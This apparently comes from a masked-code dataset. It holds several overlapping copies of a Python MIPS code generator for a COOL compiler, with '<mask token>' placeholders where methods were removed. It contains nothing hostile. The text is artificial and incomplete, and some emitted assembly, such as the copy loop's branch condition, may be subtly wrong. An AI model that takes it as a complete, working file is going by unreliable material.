self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_') self.write_file('_end_strcat_copy_:', tabbed=False) self.write_file('move $t4 $a2') self.write_file('addu $a2 $a2 $t2') self.write_file('_strcat_copy_snd_:', tabbed=False) self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_snd_') self.write_file('_end_strcat_copy_snd_:', tabbed=False) self.write_file('sb $0 0($t5)') self.write_file('sw $v1 12($t3)') self.write_file('sw $v0 16($t3)') self.write_file('move $v0 $t3') self.write_file('jr $ra') self.write_file('') def string_substr(self): self.write_file('function_String_substr:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'lw $t5 12($fp)') self.write_file(f'lw $a1 16($fp)') self.write_file(f'lw $a1 12($a1)') self.write_file(f'lw $a2 20($fp)') self.write_file(f'lw $a2 12($a2)') self.write_file(f'blt $a1 $0 _index_negative') self.write_file(f'blt $a2 $0 _index_negative') self.write_file(f'add $a2 $a1 $a2') self.write_file(f'lw $a3 12($t5)') self.write_file(f'lw $a3 12($a3)') self.write_file(f'bgt $a2 $a3 _index_out') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file(f'move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file(f'move $t0 $v0') self.write_file(f'move $t7 $a2') self.write_file(f'subu $t7 $t7 $a1') self.write_file(f'sw $t7 12($t0)') self.allocate_memory('$a2', register=True) self.write_file(f'sw $t0 12($v1)') self.write_file(f'sw $v0 16($v1)') self.write_file('move $t1 $v0') self.write_file('lw $t5 16($t5)') self.write_file('move $t4 $t5') self.write_file('addu $t4 $t4 $a1') self.write_file('addu $t5 $t5 $a2') self.write_file('_substr_copy_:', tabbed=False) self.write_file('bge $t4 $t5 _end_substr_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t1)') self.write_file('addiu $t1 $t1 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _substr_copy_') self.write_file(f'_index_negative:', tabbed=False) self.write_file(f'la $a0 _index_negative_msg') self.write_file(f'b _subst_abort') self.write_file(f'_index_out:', tabbed=False) self.write_file(f'la $a0 _index_out_msg') self.write_file(f'b _subst_abort') self.write_file(f'_subst_abort:', tabbed=False) self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file('la\t$a0 _abort_msg') self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file(f'li $v0 10') self.write_file(f'syscall') self.write_file('_end_substr_copy_:', tabbed=False) self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') <mask token> <mask token> def io_out_int(self): self.write_file('function_IO_out_int:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') self.write_file('lw $a0 12($a0)') self.write_file('li $v0 1') self.write_file('syscall') self.write_file('lw $v0 12($fp)') self.write_file('jr $ra') self.write_file('') <mask token> <mask token> def isvoid(self): self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS)) self.write_file(f'lw $t0 12($fp)') self.write_file(f'la $t1 {VOID_MIPS_NAME}') self.write_file(f'beq $t0 $t1 _is_void_true_') self.write_file(f'sw $0 12($v0)') self.write_file(f'j _is_void_end_') self.write_file(f'_is_void_true_:', tabbed=False) self.write_file(f'li $t0 1') self.write_file(f'sw $t0 12($v0)') self.write_file(f'_is_void_end_:', tabbed=False) self.write_file(f'jr $ra') self.write_file(f'')
<mask token> class MipsVisitor: <mask token> def __init__(self, inherit_graph, output_file='mips_code.mips'): self.inherit_graph, _ = inherit_graph self.offset = dict() self.type_index = [] self.dispatchtable_code = [] self.prototypes_code = [] self.cur_labels_id = 0 self.output_file = output_file <mask token> <mask token> def write_file(self, msg, mode='a', tabbed=True): f = open(self.output_file, mode) f.write('{}{}\n'.format('\t' if tabbed else '', msg)) f.close() def allocate_memory(self, size=None, register=False): if register: self.write_file('move $a0 {}'.format(size)) elif size: self.write_file('li $a0 {}'.format(size)) self.write_file('li $v0 9') self.write_file('syscall') <mask token> <mask token> @visitor.when(cil.Program) def visit(self, node: cil.Program): self.write_file('', 'w') self.write_file('.data', tabbed=False) self.static_datas() for data in node.data_section: self.visit(data) self.write_file('') for i in range(len(node.type_section)): self.type_index.append(node.type_section[i].type_name) self.write_file('classname_{}: .asciiz "{}"'.format(node. type_section[i].type_name, node.type_section[i].type_name)) self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""') self.write_file('\n.text') self.entry() self.write_file('\n########## STATIC FUNCTIONS ##########\n') self.conforms() self.isvoid() self.object_abort() self.object_copy() self.object_typename() self.string_length() self.string_concat() self.string_substr() self.io_in_int() self.io_in_string() self.io_out_int() self.io_out_string() for t in node.type_section: self.visit(t) self.write_file('\n############## TABLES ################\n') self.write_file('function_build_class_name_table:', tabbed=False) self.allocate_memory(len(node.type_section) * 4) self.write_file('move $s1 $v0') for i in range(len(node.type_section)): self.write_file('la $t1 classname_{}'.format(node.type_section[ i].type_name)) self.write_file('sw $t1 {}($s1)'.format(4 * i)) self.write_file('') self.write_file('function_allocate_prototypes_table:', tabbed=False) self.allocate_memory(8 * len(self.type_index)) self.write_file('move $s0 $v0') self.write_file('') self.write_file('function_build_prototypes:', tabbed=False) for ins in self.prototypes_code: self.write_file(ins) self.write_file('') self.write_file('function_build_dispatch_tables:', tabbed=False) for ins in self.dispatchtable_code: self.write_file(ins) self.write_file('') self.write_file('function_build_class_parents_table:', tabbed=False) self.allocate_memory(4 * len(self.type_index)) self.write_file('move $s2 $v0') self.write_file('') for parent in self.inherit_graph.keys(): p_index = self.type_index.index(parent) for child in self.inherit_graph[parent]: ch_index = self.type_index.index(child.name) self.write_file(f'li $t0 {ch_index}') self.write_file(f'mul $t0 $t0 4') self.write_file(f'add $t0 $t0 $s2') self.write_file(f'li $t1 {p_index}') self.write_file(f'sw $t1 0($t0)') self.write_file('') self.write_file('') self.write_file('\n########### COOL FUNCTIONS ##########\n') for func in node.code_section: is_built_in = False if not INIT_CIL_SUFFIX in func.name: is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != [] if not is_built_in: self.visit(func) self.write_file('\n#####################################\n') <mask token> @visitor.when(cil.Type) def visit(self, node: cil.Type): self.dispatchtable_code.append(f'# Type {node.type_name}') self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node. methods))) self.dispatchtable_code.append('li $v0 9') self.dispatchtable_code.append('syscall') for i in range(len(node.methods)): self.dispatchtable_code.append('la $t1 function_{}'.format(node .methods[i].function_name)) self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i)) self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self. type_index.index(node.type_name))) self.dispatchtable_code.append('sw $v0 8($t0)') self.dispatchtable_code.append('') self.prototypes_code.append(f'# Type {node.type_name}') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('li $v0 9') self.prototypes_code.append('syscall') class_index = self.type_index.index(node.type_name) self.prototypes_code.append('li $a0 {}'.format(class_index)) self.prototypes_code.append('sw $a0 0($v0)') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('sw $a0 4($v0)') self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index)) self.prototypes_code.append('') <mask token> @visitor.when(cil.Assign) def visit(self, node: cil.Assign): self.write_file('# ASSIGN') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') <mask token> <mask token> @visitor.when(cil.Mult) def visit(self, node: cil.Mult): self.write_file('# *') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('mul $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') <mask token> @visitor.when(cil.Equal) def visit(self, node: cil.Equal): self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left])) self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right])) self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') self.write_file('lw $a0 0($t0)') self.write_file('lw $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('li $a2 {}'.format(self.type_index.index( INTEGER_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 {}'.format(self.type_index.index( BOOLEAN_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS)) ) self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_') self.write_file(f'_eq_str_{node.id}_:', tabbed=False) self.write_file('lw\t$t3 12($t0)') self.write_file('lw\t$t3 12($t3)') self.write_file('lw\t$t4, 12($t1)') self.write_file('lw\t$t4, 12($t4)') self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_') self.write_file(f'beq $t3 $0 _eq_true_{node.id}_') self.write_file('addu $t0 $t0 16') self.write_file('lw $t0 0($t0)') self.write_file('addu $t1 $t1 16') self.write_file('lw $t1 0($t1)') self.write_file('move $t2 $t3') self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False) self.write_file('lb $a0 0($t0)') self.write_file('lb $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('addu $t0 $t0 1') self.write_file('addu $t1 $t1 1') self.write_file('addiu $t2 $t2 -1') self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False) self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_') self.write_file(f'b _eq_true_{node.id}_') self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False) self.write_file('lw $a3 12($t0)') self.write_file('lw $t4 12($t1)') self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_') self.write_file(f'_eq_true_{node.id}_:', tabbed=False) self.write_file('li $a0 1') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'b end_equal_{node.id}_') self.write_file(f'_eq_false_{node.id}_:', tabbed=False) self.write_file('li $a0 0') self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest])) self.write_file(f'end_equal_{node.id}_:', tabbed=False) <mask token> @visitor.when(cil.EqualOrLessThan) def visit(self, node: cil.EqualOrLessThan): self.write_file('# <=') self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right])) self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.GetAttrib) def visit(self, node: cil.GetAttrib): self.write_file('# GETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.SetAttrib) def visit(self, node: cil.SetAttrib): self.write_file('# SETATTR') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') if isinstance(node.src, int): self.write_file(f'li $a0, {node.src}') elif node.src[:5] == 'data_': self.write_file(f'la $a0, {node.src}') else: self.write_file(f'lw $a0 {self.offset[node.src]}($fp)') self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)') self.write_file('') @visitor.when(cil.TypeOf) def visit(self, node: cil.TypeOf): self.write_file('# TYPEOF') self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)') self.write_file(f'lw $a0 0($a1)') self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.Allocate) def visit(self, node: cil.Allocate): self.write_file('# ALLOCATE') if node.ttype == VOID_TYPE: self.write_file(f'la $v0 {VOID_MIPS_NAME}') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') else: offset_proto = self.type_index.index(node.ttype) * 8 self.write_file('lw $t0 {}($s0)'.format(offset_proto)) self.write_file('sw $t0, 0($sp)') self.write_file('addiu $sp, $sp, -4') self.write_file('') self.visit(cil.Call(dest=node.dest, f='Object_copy')) self.write_file('addiu $sp, $sp, 4') self.write_file('') @visitor.when(cil.Call) def visit(self, node: cil.Call): self.write_file('# CALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') self.write_file(f'jal function_{node.f}') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') if node.dest: self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') self.write_file('') @visitor.when(cil.VCall) def visit(self, node: cil.VCall): self.write_file('# VCALL') self.write_file(f'addiu $sp, $sp, -8') self.write_file(f'sw $ra, 4($sp)') self.write_file(f'sw $fp, 8($sp)') if node.ttype[0] == '_': self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') else: self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') self.write_file(f'mulu $a2, $a2, 8') self.write_file(f'addu $a2, $a2, $s0') self.write_file(f'lw $a1, 0($a2)') self.write_file(f'lw $a2, 8($a1)') self.write_file(f'lw $a0 {node.f * 4}($a2)') self.write_file(f'jalr $a0') self.write_file(f'lw $fp, 8($sp)') self.write_file(f'lw $ra, 4($sp)') self.write_file(f'addiu $sp, $sp, 8') self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)') if node.ttype[0] != '_': self.write_file(f'li $a2, {self.type_index.index(node.ttype)}') else: self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)') self.write_file('') @visitor.when(cil.PushParam) def visit(self, node: cil.PushParam): self.write_file('# PUSHPARAM') if node.name[0] != '_': self.write_file('li $a0, {}'.format(self.type_index.index(node. name))) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name])) self.push() self.write_file('') @visitor.when(cil.PopParam) def visit(self, node: cil.PopParam): self.write_file('# POPPARAM') self.pop(node.name) self.write_file('') @visitor.when(cil.Return) def visit(self, node: cil.Return): self.write_file('# RETURN') self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value])) @visitor.when(cil.Label) def visit(self, node: cil.Label): self.write_file('_cil_label_{}:'.format(node.name), tabbed=False) @visitor.when(cil.Goto) def visit(self, node: cil.Goto): self.write_file('# GOTO') self.write_file('j _cil_label_{}'.format(node.label)) self.write_file('') <mask token> <mask token> <mask token> <mask token> def object_copy(self): self.write_file('function_Object_copy:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $t0 12($fp)') self.write_file('lw $a0 4($t0)') self.write_file('move $t4 $a0') self.write_file('li $v0 9') self.write_file('syscall') self.write_file('move $t2 $v0') self.write_file('li $t3 0') self.write_file('_objcopy_loop:', tabbed=False) self.write_file('lw $t1 0($t0)') self.write_file('sw $t1 0($v0)') self.write_file('addiu $t0 $t0 4') self.write_file('addiu $v0 $v0 4') self.write_file('addiu $t3 $t3 4') self.write_file('ble $t4 $t3 _objcopy_loop') self.write_file('_objcopy_div_end_:', tabbed=False) self.write_file('move $v0 $t2') self.write_file('jr $ra') self.write_file('') def object_typename(self): self.write_file('function_Object_type_name:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('lw $a1 12($fp)') self.write_file('lw $a1 0($a1)') self.write_file('mulu $a1 $a1 4') self.write_file('addu $a1 $a1 $s1') self.write_file('lw $a1 0($a1)') self.write_file('move $a2 $0') self.write_file('move $t2 $a1') self.write_file('_str_len_clsname_:', tabbed=False) self.write_file('lb $a0 0($t2)') self.write_file('beq $a0 $0 _end_clsname_len_') self.write_file('addiu $a2 $a2 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _str_len_clsname_') self.write_file('_end_clsname_len_:', tabbed=False) self.write_file('sw $a2, 12($v0)') self.write_file('sw $v0, 12($v1)') self.write_file('sw $a1, 16($v1)') self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') def string_length(self): self.write_file('function_String_length:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 12($fp)') self.write_file('lw $v0 12($a0)') self.write_file('jr $ra') self.write_file('') def string_concat(self): self.write_file('function_String_concat:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('move $t3 $v0') self.write_file('lw $a1 12($fp)') self.write_file('lw $a2 16($fp)') self.write_file('lw $t1 12($a1)') self.write_file('lw $t1 12($t1)') self.write_file('lw $t2 12($a2)') self.write_file('lw $t2 12($t2)') self.write_file('addu $t0 $t2 $t1') self.write_file('sw $t0 12($v1)') self.write_file('lw $a1 16($a1)') self.write_file('lw $a2 16($a2)') self.write_file('addiu $t0 $t0 1') self.allocate_memory('$t0', register=True) self.write_file('move $t5 $v0') self.write_file('move $t4 $a1') self.write_file('addu $a1 $a1 $t1') self.write_file('_strcat_copy_:', tabbed=False) self.write_file('beq $t4 $a1 _end_strcat_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_') self.write_file('_end_strcat_copy_:', tabbed=False) self.write_file('move $t4 $a2') self.write_file('addu $a2 $a2 $t2') self.write_file('_strcat_copy_snd_:', tabbed=False) self.write_file('beq $t4 $a2 _end_strcat_copy_snd_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t5)') self.write_file('addiu $t5 $t5 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _strcat_copy_snd_') self.write_file('_end_strcat_copy_snd_:', tabbed=False) self.write_file('sb $0 0($t5)') self.write_file('sw $v1 12($t3)') self.write_file('sw $v0 16($t3)') self.write_file('move $v0 $t3') self.write_file('jr $ra') self.write_file('') def string_substr(self): self.write_file('function_String_substr:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'lw $t5 12($fp)') self.write_file(f'lw $a1 16($fp)') self.write_file(f'lw $a1 12($a1)') self.write_file(f'lw $a2 20($fp)') self.write_file(f'lw $a2 12($a2)') self.write_file(f'blt $a1 $0 _index_negative') self.write_file(f'blt $a2 $0 _index_negative') self.write_file(f'add $a2 $a1 $a2') self.write_file(f'lw $a3 12($t5)') self.write_file(f'lw $a3 12($a3)') self.write_file(f'bgt $a2 $a3 _index_out') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file(f'move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file(f'move $t0 $v0') self.write_file(f'move $t7 $a2') self.write_file(f'subu $t7 $t7 $a1') self.write_file(f'sw $t7 12($t0)') self.allocate_memory('$a2', register=True) self.write_file(f'sw $t0 12($v1)') self.write_file(f'sw $v0 16($v1)') self.write_file('move $t1 $v0') self.write_file('lw $t5 16($t5)') self.write_file('move $t4 $t5') self.write_file('addu $t4 $t4 $a1') self.write_file('addu $t5 $t5 $a2') self.write_file('_substr_copy_:', tabbed=False) self.write_file('bge $t4 $t5 _end_substr_copy_') self.write_file('lb $a0 0($t4)') self.write_file('sb $a0 0($t1)') self.write_file('addiu $t1 $t1 1') self.write_file('addiu $t4 $t4 1') self.write_file('j _substr_copy_') self.write_file(f'_index_negative:', tabbed=False) self.write_file(f'la $a0 _index_negative_msg') self.write_file(f'b _subst_abort') self.write_file(f'_index_out:', tabbed=False) self.write_file(f'la $a0 _index_out_msg') self.write_file(f'b _subst_abort') self.write_file(f'_subst_abort:', tabbed=False) self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file('la\t$a0 _abort_msg') self.write_file(f'li $v0 4') self.write_file(f'syscall') self.write_file(f'li $v0 10') self.write_file(f'syscall') self.write_file('_end_substr_copy_:', tabbed=False) self.write_file('move $v0 $v1') self.write_file('jr $ra') self.write_file('') <mask token> def io_in_string(self): self.write_file('function_IO_in_string:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS)) self.write_file('move $v1 $v0') self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS)) self.write_file('sw $v1 12($v0)') self.write_file('move $t5 $v0') self.write_file('la $a0 str_buffer') self.write_file('li $a1 1025') self.write_file('li $v0 8') self.write_file('syscall') self.write_file('move $a0 $0') self.write_file('la $t2 str_buffer') self.write_file('_in_string_str_len_:', tabbed=False) self.write_file('lb $t0 0($t2)') self.write_file('beq $t0 $0 _end_in_string_str_len_') self.write_file('beq $t0 10 _end_in_string_str_len_') self.write_file('addiu $a0 $a0 1') self.write_file('addiu $t2 $t2 1') self.write_file('j _in_string_str_len_') self.write_file('_end_in_string_str_len_:', tabbed=False) self.write_file('sw $a0 12($v1)') self.allocate_memory() self.write_file('la $t4 str_buffer') self.write_file('move $t1 $v0') self.write_file('_in_str_copy_:', tabbed=False) self.write_file('lb $t0 0($t4)') self.write_file('beq $t0 $0 _end_in_str_copy_') self.write_file('beq $t0 10 _end_in_str_copy_') self.write_file('sb $t0 0($t1)') self.write_file('addiu $t4 $t4 1') self.write_file('addiu $t1 $t1 1') self.write_file('j _in_str_copy_') self.write_file('_end_in_str_copy_:', tabbed=False) self.write_file('sw $v0 16($t5)') self.write_file('la $t4 str_buffer') self.write_file('_in_str_clean_:', tabbed=False) self.write_file('lb $t0 0($t4)') self.write_file('beq $t0 $0 _end_in_str_clean_') self.write_file('sb $0 0($t4)') self.write_file('addiu $t4 $t4 1') self.write_file('j _in_str_clean_') self.write_file('_end_in_str_clean_:', tabbed=False) self.write_file('move $v0 $t5') self.write_file('jr $ra') self.write_file('') def io_out_int(self): self.write_file('function_IO_out_int:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') self.write_file('lw $a0 12($a0)') self.write_file('li $v0 1') self.write_file('syscall') self.write_file('lw $v0 12($fp)') self.write_file('jr $ra') self.write_file('') def io_out_string(self): self.write_file('function_IO_out_string:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file('lw $a0 16($fp)') self.write_file('lw $a0 16($a0)') self.write_file('li $v0 4') self.write_file('syscall') self.write_file('lw $v0 12($fp)') self.write_file('jr $ra') self.write_file('') <mask token> def isvoid(self): self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False) self.write_file(f'move $fp, $sp') self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS)) self.write_file(f'lw $t0 12($fp)') self.write_file(f'la $t1 {VOID_MIPS_NAME}') self.write_file(f'beq $t0 $t1 _is_void_true_') self.write_file(f'sw $0 12($v0)') self.write_file(f'j _is_void_end_') self.write_file(f'_is_void_true_:', tabbed=False) self.write_file(f'li $t0 1') self.write_file(f'sw $t0 12($v0)') self.write_file(f'_is_void_end_:', tabbed=False) self.write_file(f'jr $ra') self.write_file(f'')
<mask token> class MipsVisitor: <mask token> def __init__(self, inherit_graph, output_file='mips_code.mips'): self.inherit_graph, _ = inherit_graph self.offset = dict() self.type_index = [] self.dispatchtable_code = [] self.prototypes_code = [] self.cur_labels_id = 0 self.output_file = output_file def push(self): self.write_file('sw $a0 0($sp)') self.write_file('addiu $sp $sp -4') def pop(self, dest=None): self.write_file(f'addiu $sp $sp 4') def write_file(self, msg, mode='a', tabbed=True): f = open(self.output_file, mode) f.write('{}{}\n'.format('\t' if tabbed else '', msg)) f.close() def allocate_memory(self, size=None, register=False): if register: self.write_file('move $a0 {}'.format(size)) elif size: self.write_file('li $a0 {}'.format(size)) self.write_file('li $v0 9') self.write_file('syscall') <mask token> @visitor.on('node') def visit(self, node): pass @visitor.when(cil.Program) def visit(self, node: cil.Program): self.write_file('', 'w') self.write_file('.data', tabbed=False) self.static_datas() for data in node.data_section: self.visit(data) self.write_file('') for i in range(len(node.type_section)): self.type_index.append(node.type_section[i].type_name) self.write_file('classname_{}: .asciiz "{}"'.format(node. type_section[i].type_name, node.type_section[i].type_name)) self.write_file(f'{VOID_MIPS_NAME}: .asciiz ""') self.write_file('\n.text') self.entry() self.write_file('\n########## STATIC FUNCTIONS ##########\n') self.conforms() self.isvoid() self.object_abort() self.object_copy() self.object_typename() self.string_length() self.string_concat() self.string_substr() self.io_in_int() self.io_in_string() self.io_out_int() self.io_out_string() for t in node.type_section: self.visit(t) self.write_file('\n############## TABLES ################\n') self.write_file('function_build_class_name_table:', tabbed=False) self.allocate_memory(len(node.type_section) * 4) self.write_file('move $s1 $v0') for i in range(len(node.type_section)): self.write_file('la $t1 classname_{}'.format(node.type_section[ i].type_name)) self.write_file('sw $t1 {}($s1)'.format(4 * i)) self.write_file('') self.write_file('function_allocate_prototypes_table:', tabbed=False) self.allocate_memory(8 * len(self.type_index)) self.write_file('move $s0 $v0') self.write_file('') self.write_file('function_build_prototypes:', tabbed=False) for ins in self.prototypes_code: self.write_file(ins) self.write_file('') self.write_file('function_build_dispatch_tables:', tabbed=False) for ins in self.dispatchtable_code: self.write_file(ins) self.write_file('') self.write_file('function_build_class_parents_table:', tabbed=False) self.allocate_memory(4 * len(self.type_index)) self.write_file('move $s2 $v0') self.write_file('') for parent in self.inherit_graph.keys(): p_index = self.type_index.index(parent) for child in self.inherit_graph[parent]: ch_index = self.type_index.index(child.name) self.write_file(f'li $t0 {ch_index}') self.write_file(f'mul $t0 $t0 4') self.write_file(f'add $t0 $t0 $s2') self.write_file(f'li $t1 {p_index}') self.write_file(f'sw $t1 0($t0)') self.write_file('') self.write_file('') self.write_file('\n########### COOL FUNCTIONS ##########\n') for func in node.code_section: is_built_in = False if not INIT_CIL_SUFFIX in func.name: is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in func.name] != [] if not is_built_in: self.visit(func) self.write_file('\n#####################################\n') <mask token> @visitor.when(cil.Type) def visit(self, node: cil.Type): self.dispatchtable_code.append(f'# Type {node.type_name}') self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node. methods))) self.dispatchtable_code.append('li $v0 9') self.dispatchtable_code.append('syscall') for i in range(len(node.methods)): self.dispatchtable_code.append('la $t1 function_{}'.format(node .methods[i].function_name)) self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i)) self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self. type_index.index(node.type_name))) self.dispatchtable_code.append('sw $v0 8($t0)') self.dispatchtable_code.append('') self.prototypes_code.append(f'# Type {node.type_name}') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('li $v0 9') self.prototypes_code.append('syscall') class_index = self.type_index.index(node.type_name) self.prototypes_code.append('li $a0 {}'.format(class_index)) self.prototypes_code.append('sw $a0 0($v0)') self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node. attributes))) self.prototypes_code.append('sw $a0 4($v0)') self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index)) self.prototypes_code.append('') @visitor.when(cil.Function) def visit(self, node: cil.Function): self.write_file(f'function_{node.name}:', tabbed=False) self.write_file(f'move $fp, $sp') self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}') for i in range(len(node.args)): self.offset[node.args[i].name] = 12 + i * 4 for i in range(len(node.vlocals)): self.offset[node.vlocals[i].name] = i * -4 for inst in node.body: if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div): inst.id = self.new_labels_id() self.visit(inst) self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}') self.write_file('jr $ra') self.write_file('') @visitor.when(cil.Assign) def visit(self, node: cil.Assign): self.write_file('# ASSIGN') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source])) self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') <mask token> @visitor.when(cil.Minus) def visit(self, node: cil.Minus): self.write_file('# -') if isinstance(node.left, int): self.write_file('li $a0 {}'.format(node.left)) else: self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('sub $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') @visitor.when(cil.Mult) def visit(self, node: cil.Mult): self.write_file('# *') self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left])) self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right])) self.write_file('mul $a0, $a0, $a1') self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest])) self.write_file('') <mask token> @visitor.when(cil.Equal) def visit(self, node: cil.Equal): self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left])) self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right])) self.write_file(f'beq $t0 $zero _eq_false_{node.id}_') self.write_file(f'beq $t1 $zero _eq_false_{node.id}_') self.write_file('lw $a0 0($t0)') self.write_file('lw $a1 0($t1)') self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_') self.write_file('li $a2 {}'.format(self.type_index.index( INTEGER_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 {}'.format(self.type_index.index( BOOLEAN_CLASS))) self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}') self.write_file('li $a2 